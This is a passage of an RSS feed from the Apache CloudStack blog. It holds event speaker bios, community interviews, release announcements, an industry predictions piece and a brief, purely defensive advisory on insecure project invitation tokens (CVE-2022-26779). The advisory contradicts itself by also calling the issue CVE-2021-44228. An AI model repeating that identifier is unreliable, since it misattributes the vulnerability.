provisioning, upgrading, and operating multiple Kubernetes clusters. Started by the Kubernetes SIG (Special Interest Group) Cluster Lifecycle, the CAPI project uses Kubernetes-style APIs and patterns to automate cluster lifecycle management for platform operators. CAPI relies on infrastructure providers to provision the underlying infrastructure components.<br>In this talk, you will find out more about the newly developed provider, its capabilities, and how you can benefit from it!</p><p><strong>17:15 - 17:45 - Expose Router VM Statistics to Customers, </strong>Sina Kashipazha, Leaseweb</p><p>In recent years, some of Leaseweb’s customers complained about the router VM resource usage and its availability. This made the company think that it would be nice to expose router VM statistics to the customers using the Prometheus format. In that way, they can set up their monitoring system and have more visibility over their network. Although it is still under development, Leaseweb thought it would be nice to discuss the project with the community members and gather feedback.</p><p><strong>17:45 - 19:00 - Networking and Beers</strong></p><hr><p><a href="https://events.hubilo.com/cloudstack-european-user-group/register" target="_blank" rel="noopener noreferrer"><strong>REGISTER NOW</strong></a></p><hr><p><strong>LEARN MORE ABOUT THE SPEAKERS:</strong></p><p><strong>Giles Sirett</strong></p><p>Giles is a committer, PMC member of the Apache CloudStack project and Chairman of the European CloudStack User Group. He is also CEO &amp; founder of ShapeBlue, the leading independent CloudStack integrator &amp; consultancy. He has worked with many high-profile organisations, helping them strategise, design and implement CloudStack based clouds. Giles is an active contributor to the Apache CloudStack project and has spoken at all CloudStack Collaboration conferences, Linuxcon, and other events.</p><p><strong>Rene Moser</strong></p><p>René Moser is a software engineer at Ngine.io, an engineering cloud computing company that focuses on integration, automation, and scaling.</p><p><strong>Sunando Bhattacharya</strong></p><p>Sunando Bhattacharya is the CEO and Co-Founder of IndiQus Technologies. They are a fast-growing Cloud solutions company that works with Service Providers (Telcos, ISPs and Datacenter providers) globally and helps them set up and run an in-country cloud business. Some of their customers are companies like Airtel, Vodafone, Ooredoo, Sri Lanka Telecom, and Datahub.</p><p><strong>Venko Moyankov</strong></p><p>Venko Moyankov is a solution architect at StorPool Storage, a fully managed data storage solution that transforms commodity hardware into a shared, powerful, highly available, and reliable storage system. He has experience with managing large virtualizations, working in telcos, designing and supporting the infrastructure of large enterprises. In the last year, his focus has been on helping companies globally to build the best storage solution according to their needs and projects.</p><p><strong>Suresh Kumar Anaparti</strong></p><p>Suresh Anaparti is a software architect at ShapeBlue, the largest independent integrator of CloudStack technologies globally. He has over 15 years of end-to-end product development experience in Cloud Infrastructure, Telecom and Geospatial technologies. He is an active Apache CloudStack committer/contributor and is currently working with ShapeBlue. He has been working on CloudStack development for more than 5 years.</p><p><strong>Аlireza Eskendari</strong></p><p>Alireza Eskandari is the manager of cloud services at Afranet, one of the leading Iranian internet services providers. His role involves directing a team of specialists to develop and manage value-added services on top of data center infrastructure, such as cloud services (Iaas &amp; PaaS), CDN, Web Hosting. etc. Afranet was established in 1996 with the aim of developing the Internet and e-commerce in the country and entered the OTC market of Iran in 1995.</p><p><strong>Jesus Escolar</strong></p><p>Jesus Escolar is the CEO at EXELERYS, a next-generation cybersecurity and cyber intelligence start-up for professional services, trusted advisory, consulting &amp; education, focused on cutting-edge multi-vendor solutions. As the CEO for EXELERYS, his role is to develop and promote all the different business areas of the company and build success with vendors, partners and customers engagements. His role also involves creating strong alliances within the technology ecosystem, and augment the footprint presence with our solutions across EMEA. He also aids his team with vision, direction and business goals.</p><p><strong>Wido den Hollander</strong></p><p>Wido den Hollander is the CTO of CLouDinfra, an infrastructure company offering total Webhosting solutions. CLDIN provides datacenter, IP and virtualization services for the companies within TWS. Wido den Hollander is a PMC member of the Apache CloudStack Project and a Ceph expert. He started with CloudStack 9 years ago. What attracted his attention is the simplicity of CloudStack and the fact that it is an open-source solution. During the years Wido became a contributor, a PMC member and he was a VP of the project for a year. He is one of our most active members, who puts a lot of efforts to keep the project active and transforming it into a turnkey solution for cloud builders.</p><p><strong>Quentin Roccia&nbsp;</strong></p><p>Senior DevOps engineer, Cloud enabler. Quentin is in charge of DIMSI custom developments on top of Apache CloudStack deployment: customer portal, backup solutions. On a daily basis, he helps our customers to build and improve DevOps strategy, including GitLab, CloudStack APIs and Python devs. Quentin is the main contributor to KVM backup solution</p><p><strong>Joffrey Luangsaysana &nbsp;</strong></p><p>Senior Cloud Engineer, Platform specialist. Joffrey is responsible for our core platform, including compute, storage, networking, and Apache CloudStack services. He is focused on providing maximum performance and uptime to our customers, and is dedicated to guaranteeing fast and reliable customer VM’s backup.</p><p><strong>Peter (Motyka) Motykowski</strong></p><p>Peter (Motyka) Motykowski is a Sr. Software Development Manager - Customer Engineering at Amazon Web Services (AWS). He is leading the AWS Professional Services teams focused on bringing Amazon-class engineering to customers. In the last 4 years, he has been part of the AWS team and previously worked for other enterprises among which are Google and Netflix. His colleagues describe him as an outstanding technologist bringing immense value to any organization of which he has been part.&nbsp;</p><p><strong>Sina Kashipazha</strong></p><p>Sina Kashipazha is a software engineer at Leaseweb, a leading Infrastructure-as-a-Service provider serving a worldwide portfolio of 20,000 customers ranging from SMBs to Enterprises. The services Leaseweb offer include Public Cloud, Private Cloud, Hybrid Hosting, Colocation, Content Delivery Network, Cyber Security Services, and Dedicated Servers supported by customer service and technical support.</p><p>&nbsp;</p><p><strong>The event will happen on April 7th, starting from 09:30 CET to 19:00 CET.</strong></p><p>&nbsp;</p>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[CloudStack Integrations: LINBIT - Open-source SDS Solution]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-integrations-linbit-open-source</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-integrations-linbit-open-source</guid>
            <pubDate>Wed, 30 Mar 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[CloudStack is a multi-hypervisor, multi-tenant, high-availability cloud management platform that delivers the flexibility and freedom of open-source technology and the power of an enterprise-grade virtualization management platform. In the new blog series named CloudStack Integrations, we will present a range of technologies with which CloudStack is integrated and can become part of your technology stack. You will be able to learn more about different software solutions, which can be combined with CloudStack and dive deep into specialized Technical Solution Briefs presenting the integrations. Today we will meet you with LINBIT.]]></description>
            <content:encoded><![CDATA[<a href="/blog/cloudstack-integrations-linbit-open-source"><img loading="lazy" src="/img/imported/de3ef6b5-77a9-4747-a71c-8638a435addf" alt="CS-LINBIT.jpg" width="750" height="393" class="img_ev3q"></a><p>CloudStack is a multi-hypervisor, multi-tenant, high-availability cloud management platform that delivers the flexibility and freedom of open-source technology and the power of an enterprise-grade virtualization management platform. <br>In the <strong>new blog series named CloudStack Integrations</strong>, we will present a range of technologies with which CloudStack is integrated and can become part of your technology stack. You will be able to<strong> learn more about different software solutions, which can be combined with CloudStack</strong> and dive deep into specialized <strong>Technical Solution Briefs</strong> presenting the integrations. <br>Today we will meet you with <a href="https://linbit.com/" target="_blank" rel="noopener noreferrer">LINBIT</a>.</p><h2>The Data Management Challenge</h2><p>Organizations face challenges in improving structured and unstructured data access while reducing the costs to store it. Open-Source SDS and Cloud Orchestrator solutions take these challenges by separating data services from hardware and creating a new era for data access. By using software-defined storage solutions, companies can benefit from improved reliability and agility, exceptional storage performance and eliminated vendor lock-in. </p><h2><br>CloudStack and LINBIT Integration</h2><p>Combining Apache CloudStack with LINBIT SDS creates a perfect environment for Cloud Providers, Hosting Companies, Finance Industries, ISPs and many more. LINBIT SDS provides organizations the performance, simplicity, and flexibility they need from storage infrastructures. In addition, LINBIT SDS' deep integration to Apache CloudStack offers scalability, data protection, and flexibility.</p><p>Along with the extensive management and scalability capabilities, the stack gives you the ultimate Open-Source solution while providing the lowest TCO, compared to any other proprietary solution.</p><a href="https://cwiki.apache.org/confluence/download/attachments/30757703/CloudStack_Solution-Brief_LinBit_2022.pdf?api=v2" target="_blank" rel="noopener noreferrer" class="button button--primary button--lg"><b>DOWNLOAD THE SOLUTION BRIEF</b></a><h2>About LINBIT</h2><p>LINBIT is the company behind the open-source storage software <a href="https://linbit.com/drbd/" target="_blank" rel="noopener noreferrer">DRBD</a> and <a href="https://linbit.com/linstor/" target="_blank" rel="noopener noreferrer">LINSTOR</a>. Since 2001, the company has been recognized in the public sphere primarily for its distributed replicated storage system for the Linux platform DRBD, which was officially integrated into the Linux Kernel in 2010 by Linus Torvalds.<br>LINBIT’s roots are deeply embedded in the open-source community, and its software and solutions are utilized by established organizations and businesses worldwide. They trust LINBIT because of the high performance and reliability they offer. This belief in open-source solutions and delivery of exceptional software products to established corporate environments is where LINBIT has carved its niche in the global storage market.</p><br><a href="https://cwiki.apache.org/confluence/download/attachments/30757703/CloudStack_Solution-Brief_LinBit_2022.pdf?api=v2" target="_blank" rel="noopener noreferrer" class="button button--primary button--lg"><b>DOWNLOAD THE SOLUTION BRIEF</b></a>]]></content:encoded>
            <category>case-studies</category>
        </item>
        <item>
            <title><![CDATA[Meet the Community - Nicolas Vazquez]]></title>
            <link>https://cloudstack.apache.org/blog/meet-the-community-nicolas-vazquez</link>
            <guid>https://cloudstack.apache.org/blog/meet-the-community-nicolas-vazquez</guid>
            <pubDate>Mon, 21 Mar 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack Community is an ever-growing and rapidly-developed community of people all around the globe committed to open-source technology. We are a welcoming society for new contributors and people keen on technology. This blog series will present you with recent CloudStack Committers and PMC members. Learn more about our tech society!]]></description>
            <content:encoded><![CDATA[<a href="/blog/meet-the-community-nicolas-vazquez"><img loading="lazy" src="/img/imported/dfd89976-747e-4737-b71b-198c8f53e31a" alt="Meet-CS-Community-Nicolas.png" width="750" height="393" class="img_ev3q"></a><p>The Apache CloudStack Community is an ever-growing and rapidly-developed community of people all around the globe committed to open-source technology. We are a welcoming society for new contributors and people keen on technology. This blog series will present you with recent CloudStack Committers and PMC members. Learn more about our tech society!</p><p>Meet Nicolas Vazquez! He is a Senior Software Engineer at ShapeBlue and is a PMC member of the Apache CloudStack project. He spends his time designing and implementing features in&nbsp; CloudStack and can be seen acting as a release manager also.</p><p><strong>Introduce yourself with a few words?</strong></p><p>My name is Nicolas Vazquez, and I am a software engineer. I am 31 years old, based in Uruguay and work as a Senior Software Engineer at Shapeblue. I'm happily married and also a father of a young girl. I am a fan of sports, enjoy playing tennis and football. I also enjoy reading and listening to economic and political materials.</p><p><strong>Tell us your story in one Tweet?</strong></p><p>I have a degree in Computer Science and have worked on software development for the last 9 years. For the first years, I have worked mostly as a Java developer and since I met CloudStack I have been learning more about networking, storage, virtualisation. I became a CloudStack Committer in 2016 and a PMC member last year.</p><p><strong>When did you start your CloudStack journey?</strong></p><p>I have met CloudStack in 2015 while I was working for my previous job. I personally didn't know about CloudStack but got assigned to a development project for it and that is where I started investigating and learning about it. I have been actively contributing and learning a lot since then.</p><p><strong>Who was your mentor during your CloudStack journey?</strong></p><p>My first mentor was Sergey Levitskiy. After I have joined Shapeblue, my mentor has been Rohit Yadav. I admire and appreciate both of them. I also enjoy acting as a mentor, recently have been assisting other community members - Suresh on the Release Management of the 4.16.1.0 release - which was released earlier this month.</p><p><strong>Which was the latest feature on which you contributed or what was your last commitment to the CloudStack project?</strong></p><p>My last commitment to CloudStack was acting as the Release Manager for the version 4.16.0 and also for the upcoming 4.17.0 version. Version 4.16.0 was released in November 2021 and introduces many interesting new features and improvements.</p><p>I am currently contributing by being the Release Manager for the upcoming 4.17 release of CloudStack. It is expected to bring a bunch of enhancements and new capabilities, such as improvements in the IPv6 support, shared networks, UX improvements for VM and volume migration and a lot more.</p><p><strong>Why do people need to choose open-source technology?</strong></p><p>I think the power of open-source technologies is that these solutions are not bound to any company and are the result of many individuals from different companies interacting and cooperating to build the best possible product. This is beneficial for the users as the product can be extended by anyone and contributed back to the whole community. Last but not least, the support of the community is also very important, and in my opinion, CloudStack is an excellent example of a successful open-source project.</p><p><strong>Learn more about Nicolas:</strong> <a href="https://github.com/nvazquez" target="_blank" rel="noopener noreferrer">https://github.com/nvazquez</a></p><p><strong>Follow him on Twitter: </strong><a href="https://twitter.com/nvazquezuy" target="_blank" rel="noopener noreferrer">https://twitter.com/nvazquezuy</a></p><p>&nbsp;</p>]]></content:encoded>
            <category>community</category>
        </item>
        <item>
            <title><![CDATA[CloudStack Advisory on Insecure Project Invitation Token (CVE-2022-26779)]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-advisory-on-insecure-project</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-advisory-on-insecure-project</guid>
            <pubDate>Wed, 16 Mar 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Apache CloudStack prior to 4.16.1.0 used insecure random number generation for project invitation tokens. If a project invite is created based only on an email address, a random token is generated. An attacker with knowledge of the project ID and the fact that the invite is sent, could generate time deterministic tokens and brute force attempt to use them prior to the legitimate receiver accepting the invite.]]></description>
            <content:encoded><![CDATA[<p>Apache CloudStack prior to 4.16.1.0 used insecure random number generation for project invitation tokens. If a project invite is created based only on an email address, a random token is generated. An attacker with knowledge of the project ID and the fact that the invite is sent, could generate time deterministic tokens and brute force attempt to use them prior to the legitimate receiver accepting the invite.</p><p>This feature is not enabled by default, the attacker is required to know or guess the project ID for the invite in addition to the invitation token, and the attacker would need to be an existing authorized user of CloudStack. Due to this the impact is considered low risk. As of 9th March 2022, this is now tracked under CVE-2021-44228: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26779" target="_blank" rel="noopener noreferrer">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26779</a></p><p>To mitigate the risk, a CloudStack admin can do any of the following:</p><p>1. Disable the feature by setting `project.invitation.required` to false.</p><p>2. Disable the project SMTP global settings.</p><p>3. Upgrade to Apache CloudStack 4.16.1.0 or higher.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Meet the Community - Slavka Peleva]]></title>
            <link>https://cloudstack.apache.org/blog/meet-the-community-slavka-peleva</link>
            <guid>https://cloudstack.apache.org/blog/meet-the-community-slavka-peleva</guid>
            <pubDate>Tue, 08 Mar 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack Community is an ever-growing and rapidly-developed community of people all around the globe committed to open-source technology. We are a welcoming society for new contributors and people keen on technology. This blog series will present you with recent CloudStack Committers and PMC members. Learn more about our tech society!]]></description>
            <content:encoded><![CDATA[<a href="/blog/meet-the-community-slavka-peleva"><img loading="lazy" src="/img/imported/3c28586e-9ec1-4584-869b-2f8e7f3a2aa7" alt="Meet-CS-Community-SLAVKA.png" width="750" height="393" class="img_ev3q"></a><p>The Apache CloudStack Community is an ever-growing and rapidly-developed community of people all around the globe committed to open-source technology. We are a welcoming society for new contributors and people keen on technology. This blog series will present you with recent CloudStack Committers and PMC members. Learn more about our tech society!</p><p>Meet Slavka Peleva from StorPool Storage. Slavka is a software developer and has been announced as a CloudStack Committer at the end of 2021. She is part of the CloudStack community for the last 3 years and is excited to work on new features and capabilities to improve the open-source cloud management solution.</p><p><strong>Introduce yourself with a few words?</strong><br>Hi, I am Slavka Peleva and I work at StorPool Storage as a software developer. I have a Bachelor's Degree in Automation, information and control systems. I am a mother of a teenage boy. I love to read fantasy books, snowboarding in winters and rollerblading in summers.</p><p><strong>Tell us your story in one Tweet.</strong><br>I have always loved puzzles and brain teasers. For me, programming is an art. I have a passion for debugging and digging into the code.</p><p><br><strong>When did you start your CloudStack journey?</strong><br>In the middle of 2019 I have started to work at StorPool Storage. Then I did my first steps into CloudStack and it was my first open-source project. Since then I learned a lot and I met interesting people.</p><p><strong>Who was your mentor during your CloudStack journey?</strong><br>My colleagues at StorPool. I аm very happy that I have the chance to work with such exceptional professionals. Thanks to them the beginning was not so hard. I should also thank Rohit Yadav and ShapeBlue who shared with me the hackerbook. When I felt a bit comfortable in the community I have started to bother most of the guys :) I am glad that the people in CloudStack's community are really supportive and nice and they have helped me in my journey.</p><p><strong>Which was the latest feature on which you contributed or what was your last commitment to the CloudStack project?</strong><br>Most of my contributing PRs are related to fixes with storage issues. One of the features that I have developed in CloudStack still did not get in but I hope that happens in the next release. It is for storage-based VM snapshots on KVM. Libvirt does not give the option to take virtual machine snapshots on images with RAW format. With this feature, the storage will have the functionality to take group consistent snapshots on all volumes of a virtual machine.</p><p><strong>Why do people need to choose open-source technology?</strong><br>The biggest advantage is the quality. A lot of developers are actively going through the code and making changes and only the best changes get into the final version. The contributions that every one of us does is what makes CloudStack such a powerful technology that so many system administrators and solutions architects use to build up their clouds.</p><p><strong>Learn more about Slavka:</strong> <a href="https://github.com/slavkap" target="_blank" rel="noopener noreferrer">https://github.com/slavkap</a></p>]]></content:encoded>
            <category>community</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack LTS Maintenance Release 4.16.1.0]]></title>
            <link>https://cloudstack.apache.org/blog/apache-cloudstack-lts-maintenance-release3</link>
            <guid>https://cloudstack.apache.org/blog/apache-cloudstack-lts-maintenance-release3</guid>
            <pubDate>Mon, 07 Mar 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is pleased to announce the release of CloudStack 4.16.1.0.]]></description>
            <content:encoded><![CDATA[<a href="/blog/apache-cloudstack-lts-maintenance-release3"><img loading="lazy" src="/img/imported/24029aa4-71d0-42df-880d-a6eb10610b80" alt="cs-4161.jpg" width="750" height="393" class="img_ev3q"></a><p>The Apache CloudStack project is pleased to announce the release of CloudStack 4.16.1.0.
The CloudStack 4.16.1.0 release is a maintenance release as part of its 4.16.x LTS branch and contains more than 150 fixes and improvements since the CloudStack 4.16.0.0 release. Some of the highlights include:</p><ul><li>System VM Template improvements</li><li>CKS enhancements</li><li>Support for VMware 7.0u2, 7.0u3</li><li>Several Hypervisor (VMware, KVM, XenServer) fixes and improvements</li><li>Several UI fixes and improvements</li><li>First Install and Onboarding Message improvements</li><li>Log4j v1.x migration to reload4j v1.2.18.0</li><li>Several security fixes addressing multiple CVEs and improvements</li></ul><p>CloudStack LTS branches are supported for 18 months and will receive updates for the first 12 months and only security updates in the last 6 months.</p><p>Apache CloudStack is an integrated Infrastructure-as-a-Service (IaaS) software platform that allows users to build feature-rich public and private cloud environments. CloudStack includes an intuitive user interface and rich API for managing the compute, networking, software, and storage resources. The project became an Apache top-level project in March 2013.</p><p>More information about Apache CloudStack can be found at: <a href="https://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/</a></p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="documentation">Documentation<a href="#documentation" class="hash-link" aria-label="Direct link to Documentation" title="Direct link to Documentation">​</a></h2><p>What's new in  CloudStack 4.16.1.0:
<a href="https://docs.cloudstack.apache.org/en/4.16.1.0/releasenotes/about.html" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.16.1.0/releasenotes/about.html</a></p><p>The 4.16.1.0 release notes include a full list of issues fixed, as well as upgrade instructions from previous versions of Apache CloudStack, and can be found at:
<a href="https://docs.cloudstack.apache.org/en/4.16.1.0/releasenotes/" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.16.1.0/releasenotes/</a></p><p>The official installation, administration, and API documentation for each of the releases are available on our documentation page:
<a href="https://docs.cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/</a></p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="downloads">Downloads<a href="#downloads" class="hash-link" aria-label="Direct link to Downloads" title="Direct link to Downloads">​</a></h2><p>The official source code for the 4.16.1.0 release can be downloaded from our downloads page:
<a href="https://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/downloads.html</a></p><p>In addition to the official source code release, individual contributors have also made convenience binaries available on the Apache CloudStack download page, and can be found at:</p><p><a href="https://download.cloudstack.org/el/7/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/el/7/</a>
<a href="https://download.cloudstack.org/el/8/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/el/8/</a>
<a href="https://download.cloudstack.org/ubuntu/dists/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/ubuntu/dists/</a>
<a href="https://www.shapeblue.com/packages/" target="_blank" rel="noopener noreferrer">https://www.shapeblue.com/packages/</a></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Terraform Provider v0.4.0 Release]]></title>
            <link>https://cloudstack.apache.org/blog/apache-cloudstack-terraform-provider-v0</link>
            <guid>https://cloudstack.apache.org/blog/apache-cloudstack-terraform-provider-v0</guid>
            <pubDate>Mon, 07 Feb 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Apache CloudStack is proven to be one of the most scalable, free and open-source cloud computing operating systems for large-scale private, public, and hybrid clouds. Terraform is an open-source infrastructure as code software tool that provides a consistent CLI workflow to manage resources in many cloud services.]]></description>
            <content:encoded><![CDATA[<a href="/blog/apache-cloudstack-terraform-provider-v0"><img loading="lazy" src="/img/imported/02633cc4-0d22-4bde-966e-4e3efec8f357" alt="cloudstack-terraform.jpg" width="750" height="393" class="img_ev3q"></a><p>Apache CloudStack is proven to be one of the most scalable, free and open-source cloud computing operating systems for large-scale private, public, and hybrid clouds. Terraform is an open-source infrastructure as code software tool that provides a consistent CLI workflow to manage resources in many cloud services.</p><p>To integrate CloudStack with Terraform, we are announcing today the availability of the latest release of Apache CloudStack Terraform Provider v0.4.0.</p><p><strong>This is the first release after it has been brought under the Apache license.</strong></p><p><strong>The release includes the following changes:</strong><br>- Relicensing with Apache License v2.0<br>- Validated and fixed all existing resource creations to work as expected<br>- Updated documentation on using and also developing the provider<br>- Bug fixes on syncing the data from CloudStack<br>- Fixed resource destroy using terraform for some resources<br><br><strong>Downloads and Documentation</strong><br>The Terraform registry link to install the CloudStack Provider is available at:<br><a href="https://registry.terraform.io/providers/cloudstack/cloudstack/0.4.0" target="_blank" rel="noopener noreferrer">https://registry.terraform.io/providers/cloudstack/cloudstack/0.4.0</a> The documentation for the usage of resources to create and interact with CloudStack is available at: <a href="https://registry.terraform.io/providers/cloudstack/cloudstack/0.4.0/docs" target="_blank" rel="noopener noreferrer">https://registry.terraform.io/providers/cloudstack/cloudstack/0.4.0/docs</a> <br>The official source code for Apache CloudStack Terraform provider can be downloaded from:<br><a href="https://github.com/apache/cloudstack-terraform-provider" target="_blank" rel="noopener noreferrer">https://github.com/apache/cloudstack-terraform-provider</a><br>The documentation for Apache CloudStack Terraform provider's usage is available at:<br><a href="https://github.com/apache/cloudstack-terraform-provider/wiki" target="_blank" rel="noopener noreferrer">https://github.com/apache/cloudstack-terraform-provider/wiki</a></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Cloud IaaS Predictions for 2022 from the Apache CloudStack Community]]></title>
            <link>https://cloudstack.apache.org/blog/cloud-iaas-predictions-for-2022</link>
            <guid>https://cloudstack.apache.org/blog/cloud-iaas-predictions-for-2022</guid>
            <pubDate>Mon, 07 Feb 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[It's the beginning of the new year, and here the Apache CloudStack community shares its predictions about the state of open-source technology and the future of Cloud/IaaS. While some well-established trends (such as the migration to hybrid cloud environments and containerization) will continue in 2022, the potential for disruption caused by the ongoing pandemic will drive IT to accelerated change and improvement.]]></description>
            <content:encoded><![CDATA[<a href="/blog/cloud-iaas-predictions-for-2022"><img loading="lazy" src="/img/imported/b735d3a3-b098-4c3c-87b5-5ed88a12bf65" alt="Cloud/IaaS Predictions" width="750" height="393" class="img_ev3q"></a><p><strong>It's the beginning of the new year, and here the Apache CloudStack community shares its predictions about the state of open-source technology and the future of Cloud/IaaS.</strong> While some well-established trends (such as the migration to hybrid cloud environments and containerization) will continue in 2022, the potential for disruption caused by the ongoing pandemic will drive IT to accelerated change and improvement.</p><p>The Cloud/IaaS market is constantly evolving, and the ability to run workloads on Kubernetes, both on-premise and on public cloud infrastructure is vital to ensure business agility. Container-based cloud-native applications promise to deliver computing power independent of the cloud provider or hardware platform and is the biggest trend registered widely by users and the market, as there are changes in cultural and technological paradigms.</p><p>In terms of cloud management systems used to orchestrate Cloud/IaaS environments, the main goal for companies in 2022 is decreasing operational effort and thus costs. Providers will be looking for platforms that can increase their competitiveness and deliver predictable results while eliminating licensing and vendor lock-in.</p><p>Apache CloudStack follows the technology wave and responds to the user demand for innovation and improvement. As part of this strategy, it is integrating Kubernetes and extending IPv6 support in the latest versions. Huge progress has been made in the installation and upgrade processes, making Apache CloudStack even easier to maintain and operate.</p><p><br><strong>In this article, we will echo the voice of our community and wait for 2022 to pass to see which of the following predictions will become mainstream.</strong></p><p>&nbsp;</p><h2>Adoption of Open-source Technologies Will Continue to Grow</h2><p>Building an open-source environment with Apache CloudStack is a future-proof strategy for many Cloud / IaaS providers. A lot of enterprises now have the challenge of consolidating different environments under the hood of a single orchestration platform while ensuring minimal downtime of production environments. The CloudStack community believes that open-source, lightweight technologies like Apache CloudStack will be adopted more and more by companies who want to achieve simplicity, improve performance and scale instantly when needed.&nbsp;</p><p>&nbsp;</p><p>- <strong>Wido den Hollander, CEO/CTO at <a href="https://www.tws.eu/" target="_blank" rel="noopener noreferrer">CLouDINfra</a>:</strong></p><p><em>“My challenges for 2022 are migrating and adopting legacy infrastructure into our Cloud(Stack) environment. While keeping customer services up and running we want to achieve these goals. Having everything central in a single cloud management platform gives me better insight on our performance, capacity and expansion needs.”</em></p><p>- <strong>Boyan Ivanov, CEO, <a href="https://storpool.com/" target="_blank" rel="noopener noreferrer">StorPool:</a></strong></p><p><em>“The commoditization of IT started with the adoption of commodity hardware and open-source technologies like Linux &amp; KVM in hyperscalers. It is increasingly pervasive and leading to the commoditizing of the storage industry. We are seeing the emergence of Software-Defined Storage and Software-Defined Networking (among many other things), which have now become the default technologies to use in greenfield projects or refresh scenarios.”</em></p><p><em>- </em><strong>Sven Vogel, Senior Manager R&amp;D - Cloud and Infrastructure, <a href="https://www.ewerk.com/startseite" target="_blank" rel="noopener noreferrer">EWERK:</a></strong></p><p><em>“</em><em>Today, many infrastructure deployments are using open-source technology as a key component.&nbsp; Through 2025, more than 70% of enterprises will increase their IT spending on open-source software, compared with their current IT spending, and by 2025, 75% of application development teams will implement software composition analysis tools in their workflow, up from 40% today, in order to minimize the security and licensing risks associated with open-source software. Source: <a href="https://www.gartner.com/doc/4004007" target="_blank" rel="noopener noreferrer">Gartner, <strong>Hype Cycle for Open-Source Software, 2021</strong></a>. </em></p><p><em>I share this assumption but I would also like to point out that more and more open-source projects hardly get any support. Many commercial companies are using OSS but it’s also important to understand that the industry needs to support the people who make the projects &nbsp;live.” </em></p><p>- <strong>Giles Sirett, CEO, <a href="https://www.shapeblue.com/" target="_blank" rel="noopener noreferrer">ShapeBlue:</a></strong></p><p><em>“</em><em>Open-source is here to stay - there is no better software model for innovation and long-term sustainability. However, far too many companies do not have a solid strategy on open-source. They use open-source software but do not understand the open-source model and how to engage in that model. The recent Log4J vulnerability demonstrated this perfectly. I expect to see many organisations finally thinking about how to properly run open-source in their environments and recognising that they can’t just install the software and forget”</em></p><p>&nbsp;</p><h2>Kubernetes</h2><p>The approach to delivering microservices and containerized applications in recent years changed completely the way we design, develop, and run web applications. New principles enable developers to create cloud-native applications using Kubernetes which side-by-side with open-source, is a hot topic for most Apache CloudStack community members who share their visions.</p><p>- <a href="https://www.linkedin.com/in/gabriel-beims-brascher/" target="_blank" rel="noopener noreferrer"><strong>Gabriel Beims Bräscher, VP Apache CloudStack</strong></a><strong>:</strong></p><p><em>“We already see significant growth in deployed containerized workloads and there is no reason to believe in 2022 it won't be a big deal. CloudStack also has been moving towards providing Kubernetes containers. This could trigger providers to start planning their move towards "containers as a service" as well.”</em></p><p>- <strong>Rohit Yadav, Principal Engineer, <a href="https://www.shapeblue.com/" target="_blank" rel="noopener noreferrer">ShapeBlue:</a></strong></p><p><em>“Kubernetes managed container-based workloads are becoming the new norm, and multi-arch container builds (same apps built as containers that can run on both x86, aarch64 etc. architectures) becoming easily available for most apps/software/packages will make this change and migration easier. For the end-users/developers at large, it doesn't / won't matter what tech/arch their workloads are running on.” </em></p><p>- <strong>Kshitish Purohit, Chief Product Officer, <a href="https://www.indiqus.com/" target="_blank" rel="noopener noreferrer">IndiQus Technologies</a>:</strong></p><p><em>“Kubernetes and cloud-native infrastructure will slowly start edging out virtualisation and traditional orchestration. And as this demand for cloud-native infrastructure grows, the older 'enterprise' mindset will need to make way for decentralisation and autonomy.”</em></p><p>- <strong>Ezequiel McGovern - <a href="https://www.arsat.com.ar/" target="_blank" rel="noopener noreferrer">ARSAT</a>:</strong></p><p><em>“The new software solutions are implemented on container technology. With scaling, shared storage and high availability, we believe that this will lead to more common use of local hypervisor storage, allowing multizone solutions to be deployed without the need for the Cloud manager to perform additional tasks.”</em></p><p>&nbsp;</p><h2>COVID Impact on Cloud / IaaS providers</h2><p>Since the beginning of the COVID pandemic, we have seen a real impact in terms of life and workstyle. Inevitably two industries have developed the most during the pandemic - healthcare and IT. With the growing demand for XaaS,</p><p>- <strong>Rohit Yadav, Principal Engineer, <a href="https://www.shapeblue.com/" target="_blank" rel="noopener noreferrer">ShapeBlue:</a></strong></p><p><em>“Due to covid, WFH and remote working have become the new norm, and are here for the long term. This means demand for everything to support this life (work) style will continue to grow, with an increased need for Data Centre and cloud resources. Providers in telecom, data centre, and cloud space will continue to cater to this growing demand.” </em></p><p><em>&nbsp;</em></p><h2><em>&nbsp;A</em>RM Platform</h2><p>Recently, Apple introduced the ARM M1 processor as a replacement for Intel in its products, and KVM and VMware already support virtualization based on ARM processors. What’s next? Take a look at our predictions:</p><p>- <strong>Rohit Yadav, Principal Engineer, <a href="https://www.shapeblue.com/" target="_blank" rel="noopener noreferrer">ShapeBlue:</a></strong></p><p><em>“On the consumer front, most mobile and IoT devices are already ARM-based. Apple are leading the charge with their Mx series chips-based laptops and computers, and I think other manufacturers will follow (I think AMD should certainly consider grabbing this early market). We should see more ARM-based laptops in the next 5-10 yrs. More of these consumer devices means more developers 